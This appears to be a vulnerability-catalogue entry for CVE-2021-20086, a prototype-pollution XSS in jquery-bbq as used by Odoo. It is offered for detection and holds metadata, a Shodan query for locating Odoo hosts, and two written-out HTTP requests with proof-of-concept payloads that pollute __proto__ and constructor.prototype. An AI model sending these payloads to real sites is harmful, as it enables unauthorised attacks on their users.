🔙 목록으로 돌아가기

CVE-2021-20086: Odoo Apps - Cross-Site Scripting via Prototype Pollution

TitleOdoo Apps - Cross-Site Scripting via Prototype Pollution
Author1337rokudenashi
SeverityHigh
ImpactAttackers can modify Object.prototype, leading to potential security issues like property overwrites and application behavior manipulation.
RemediationUpdate to the latest version of jquery-bbq that addresses this vulnerability or apply patches to prevent prototype pollution.
CVSS Score8.8
EPSS Score0.30086
CVE IDCVE-2021-20086
CWE IDCWE-1321
Shodan Queryhtml:"Odoo"
Tags cve cve2021 odoo xss proto jquery vuln

🔍 Vulnerability Description

jquery-bbq 1.2.1 contains a prototype pollution caused by improperly controlled modification of object prototype attributes, letting malicious users inject properties into Object.prototype, exploit requires malicious user interaction.

🌐 HTTP Request

GET /?__proto__%5Bcontext%5D=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&__proto__%5Bjquery%5D=x HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /?constructor%5Bprototype%5D%5Bcontext%5D=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&constructor%5Bprototype%5D%5Bjquery%5D=x HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-20086.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-20086.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A